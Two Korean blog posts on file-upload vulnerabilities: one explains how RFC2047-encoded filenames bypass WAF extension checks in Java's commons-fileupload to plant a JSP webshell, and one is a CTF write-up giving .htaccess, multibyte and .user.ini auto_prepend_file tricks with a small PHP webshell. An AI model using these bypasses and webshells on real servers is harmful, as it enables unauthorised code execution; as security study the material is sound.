JSP & Spring Framework로 구현된 웹 서비스에서 파일업로드 기능을 구현할 시 가장 흔히 사용되는 모듈이 commons-fileupload 모듈입니다.

악의적인 파일업로드 취약점을 트리거하여 공격하기 위해선 서버단에서 웹서비스가 해석하여 실행 가능한 확장자(ex. jsp, jspx, jspl, jsw ...etc..)로 업로드하여 서버내에서 임의 코드를 실행시킬 수 있어야 합니다.

하지만 많은 수의 서비스들은 확장자(ext)검사를 시행하고 있고, 이를 WAF(Web Application Firewall)에서 하는 경우가 많습니다.

또한, 확장자 검사를 시행한 후엔 파일 명을 randomizing 하여 보안성을 갖추는것이 일반적인 파일업로드 취약점 대응 방법입니다.

 


 

하지만 만약 확장자 검사를 코드 단이 아닌 WAF단에서만 수행을 하고, random으로 생성된 파일명이 공격자에게 노출된다면(꽤나 많은 케이스에서 이런 상황이 발견되는것 같습니다) commons-fileupload 모듈의 코드 구현 특징을 이용하여 이를 우회할 수 있습니다.

    @Override
    protected void doPost(HttpServletRequest request,  HttpServletResponse response)
            throws ServletException, IOException {

        response.setContentType("text/html; charset=UTF-8");
        request.setCharacterEncoding(CHARSET);
        PrintWriter out = response.getWriter();

        File attachesDir = new File(ATTACHES_DIR);

        DiskFileItemFactory fileItemFactory = new DiskFileItemFactory();
        fileItemFactory.setRepository(attachesDir);
        fileItemFactory.setSizeThreshold(LIMIT_SIZE_BYTES);
        ServletFileUpload fileUpload = new ServletFileUpload(fileItemFactory);

        try {
            List<FileItem> items = fileUpload.parseRequest(request);
            for (FileItem item : items) {
                if (item.isFormField()) {
                    System.out.printf("파라미터 명 : %s, 파라미터 값 :  %s \n", item.getFieldName(), item.getString(CHARSET));
                } else {
                    System.out.printf("파라미터 명 : %s, 파일 명 : %s,  파일 크기 : %s bytes \n", item.getFieldName(),
                            item.getName(), item.getSize());
                    if (item.getSize() > 0) {
                        Object fileName = new File(item.getName()).getName();
                                                fileName = this.makeFn((String)fileName) + "." + this.getExt((String)fileName); // makeFn -> make random filename
                                                String filePath = uploadPath + File.separator + (String)fileName;
                                                File storeFile = new File(filePath);
                                                item.write(storeFile);
                    }
                }
            }
              out.println("<h1>파일 업로드 완료</h1>");
         } catch (Exception e) {
            // 파일 업로드 처리 중 오류가 발생하는 경우
            e.printStackTrace();
            out.println("<h1>파일 업로드 중 오류가  발생하였습니다.</h1>");
        }
    }

출처: https://dololak.tistory.com/720 [코끼리를 냉장고에 넣는 방법]
private String getExt(String fileName) {
    if (fileName.lastIndexOf(".") == -1)
      return "noext"; 
    fileName = fileName.substring(fileName.lastIndexOf(".") + 1).trim();
    if ("".equals(fileName))
      return "noext"; 
    return fileName.substring(fileName.lastIndexOf(".") + 1);
  }

위의 코드는 구글commons-fileupload 라고 검색하였을때 나오는 '기본 예제 코드'에 파일 확장자 검사 코드를 추가한 코드입니다.

실제 코드상으로는 WAF에서 확장자 검사를 하여 .jpg.png 등 허용 확장자만 whitelist로 관리하고 있다면 보안 취약점이 발생하지 않는 것으로 보입니다. 또 실제로 저도 이 기법을 접하기 전까진 해당 상황에선 취약점 익스플로잇이 불가능하다고 생각을 해왔었습니다.

하지만 문제는 commons-fileupload 모듈이 버전 1.3부터 RFC2047지원한다는 데에서 시작됩니다.

RFC2047MIME (Multipurpose Internet Mail Extensions) Part Three: Message Header Extensions for Non-ASCII Text에 대한 명세인데, Non ascii text에 대해서 인코딩 방식을 요청자가 지정하여 인코딩하여 전송하고, 응답자는 이를 디코딩하여 해석한다는 내용이 주를 이룹니다.

이를 commons-fileupload 모듈에서 적용하게된 내용을 간략한 코드흐름으로 살펴보면,

와 같이 진행됩니다.

RFC2047에서 명세된 인코딩 형식은 =?" charset "?" encoding "?" encoded-text "?= 입니다.

이 중 encoding 방식에 대한 설명은 아래와 같습니다

 

4. Encodings

   Initially, the legal values for "encoding" are "Q" and "B".  These
   encodings are described below.  The "Q" encoding is recommended for
   use when most of the characters to be encoded are in the ASCII
   character set; otherwise, the "B" encoding should be used.

     ...중략...

     4.1. The "B" encoding

   The "B" encoding is identical to the "BASE64" encoding defined by RFC

 

인코딩은 평문(Q)와 Base64(B)를 지원하고 있습니다. 이를통해 some_webshell.jsp에서 .jsp와 같은 문구를 잡아내는 WAF를 우회할 수 있습니다.

하지만 여전히 WAF에서 맨 마지막 확장자를 검사하는 로직은 우회하지 못하였습니다.

이는 commons-fileupload에서 RFC2047을 구현한 특징으로 우회할 수 있습니다.

decodeText() 메서드 중 인코딩 형식의 문자열 파싱 부분을 살펴보면 int encodedTextPos = word.indexOf(ENCODED_TOKEN_FINISHER, encodingPos + 1);로 encodedTextPos를 설정하고, 이후 진행되는 코드에서 인코딩 된 영역만 가져와 디코딩 후 파일 이름으로 가져오기 때문에

=?UTF8?B?c29tZV93ZWJzaGVsbC5qc3A=?=.jpg 와 같은 형식으로 인코딩 영역이 끝난 부분에 .jpg를 삽입하게 되면 실제 jsp에서 파일명을 파싱할 시 이 부분이 무시됩니다.

 


 

여기까지 진행됐다면, WAF에서 수행하는 1. '.jsp'와 같은 문자열 포함 검사, 2. lastIndexOf('.') 등을 통한 업로드 취약점 검사를 모두 우회할 수 있습니다.

이후에 jsp 코드에선 정상적으로 some_webshell.jsp로 파일이 생성되기 때문에 웹쉘을 업로드하는데 성공할 수 있게 됩니다.

 


 

개인적으로도 파일 업로드 취약점 진단 시 commons-fileupload 모듈이 많이 사용되고있는걸 느꼈는데 이런 기법이 있었다는걸 몰랐어서, 내용을 보고 많이 놀랐기도 하여 해당 내용을 접하자마자 급히 글을 작성하여 업로드 하게 되었습니다.

 

 

해당 글은 2019년 CCE(사이버 공격방어대회)에 출제한 ENKI공식 라이트업을 참조하여 작성되었습니다.

 

 

참고문헌 : https://enki.co.kr/blog/2020/02/27/cce_writeup.html?fbclid=IwAR0ztC_wshd_DHvIA-HBMh_F99TdqkPiqyGyBu_WfP6Id-2TPTPPp_uPkZY

첨부터 깃헙링크를 준다.

 

코드 오디팅을 해보자.

 

 

대충 코드해석 해보면

1. 내 공인ip md5해서 내 고유 디렉터리 생성

2. 거기에 빈 파일인 index.php 생성 ( /upoad/{md5(myip)}/index.php )

3. 확장자에 ph 나 htacess 가 들어가면 ban

4. 파일 내용에 <? 가 들어가면 ban

5. exif_imagetype이 false이면 ban

6. 유효성 검증이 끝나면 내가 올린 파일명으로 파일 생성

 

 

굳이 index.php를 만드는게 힌트라면 힌트인것 같다.

 

어떻게 업로드하지 고민고민하던중 preg_match에 'htacess'가 들어가면 ban이라는걸 보았다.

 

어라.. .htaccess 인데 htacess... c가 하나 빠졌다

 

아! 필터링 실수를 의도하고 낸 문제구나 하고 .htaccess로 익스하기위해 열과 성을 쏟아부었지만.. 왜인지 안되었다.

 

내 서버에도 똑같이 세팅하고 올려봤는데 내서버에선 웹쉘이 잘 동작하는데 문제서버에선 안되었다,,,

 

 

일단 다른 문제에서도 .htaccess를 업로드하여 문제를 풀어야 할 경우를 대비해 팁을 적어보자면 

 

위 상황에서 필터링을 우회하기 위해선

 

3. 확장자에 ph 나 htacess 가 들어가면 ban

 - .php가 아닌 다른 확장자의 파일을 실행파일로 인식하도록 함

  -> AddType application/x-httpd-php .png

 - htacess라고 잘못 필터링 되어있으므로 .htaccess를 업로드하는데에 아무 문제가 되지 않음

  

4. 파일 내용에 <? 가 들어가면 ban

 - .htaccess 설정을 제어하여 멀티바이트 캐릭터로 인식하도록 할 수 있다.

  -> php_value zend.multibyte 1

  -> php_value zend.detect_unicode 1

  -> 실제 업로드 파일을 <\x00?\x00p\x00h\x00p\x00 ... 중략 ... 이런식으로 멀티바이트 캐릭터로 구성

 

5. exif_imagetype이 false이면 ban

 - exif_imagetype에서 바라보는 image extension들이다.

https://www.php.net/manual/en/function.exif-imagetype.php

 

 - 해당 이미지 타입에 대하여 헤더를 검사하는 방식으로 이미지인지 아닌지를 판단한다.

 - 각 이미지 타입별로 어디까지 이미지 헤더를 검사하는지 (몇 바이트를 검사하는지)는 이미지 타입마다 다르다. 관심있는 분은 직접 해당 소스코드를 찾아봐도 괜찮을 것이다.

 - 찾아보니 쓸만한 이미지헤더론 'GIF89a'와 '\x00\x00\x89'가 있었다

 - 나는 후자인 '\x00\x00\x89' 를 이용하여

 

\x00\x00\x89\x0d\x0a<\x00?\x00p\x00h\x00p\x00 ... 중략 ...

 

이와같은 식으로 멀티바이트 웹쉘을 만들 수 있었다.

 

이를 실제로 내 서버에 htaccess를 적용하였을 때 위와같은 웹쉘 파일을 .png로 실행시키는것이 가능하였다.

 

그래서 다 풀었다고 생각하고 문제서버에 적용했는데 왠걸? 안되는것이다.

 

내가 놓친것이 있을까 하였는데 모르겠어서 라업을 찾아봤따.

 

 

아.. 문제 서버가 nginx로 운영중인것이 힌트였던 것 같다.

 

nginx 서버가 fastcgi 설정이 켜져있을 경우 .htaccess를 통해 서버 설정을 바꾸어 웹쉘을 업로드하는것과 비슷하게 .user.ini 파일을 업로드하여 내 마음대로 동작하게 할 수 있다고 한다.

 

이때 이용하는 설정으론 auto_prepend_file={file} 으로, 해당 옵션이 있으면 include('./header.php')와 비슷한 효과를 낸다.

 

모든 페이지에서 auto_prepend_file로 설정된 파일을 include 하게 되는데, 여기에 웹쉘을 작성하면 되고, 웹쉘은 <script language='php'>system('ls -al /;');</script> 와 같이 실행시킬 수 있다고 한다(신기..)

 

.user.ini

GIF89a=1

auto_prepend_file=a.png

 

a.png

GIF89a=1

<script language="php">system('ls -al');</script>

 

  1. ar9ang3 ar9ang3 2020.02.15 18:02 신고

    중요한 내용을 빼먹었는데, .htaccess를 통한 익스가 안되는 이유는 nginx에서 fasgcgi를 이용하여 요청을 처리하기 때문에 handler(.htaccess)를 거치지 않는것 (?)이라 한다.
    @posix

+ Recent posts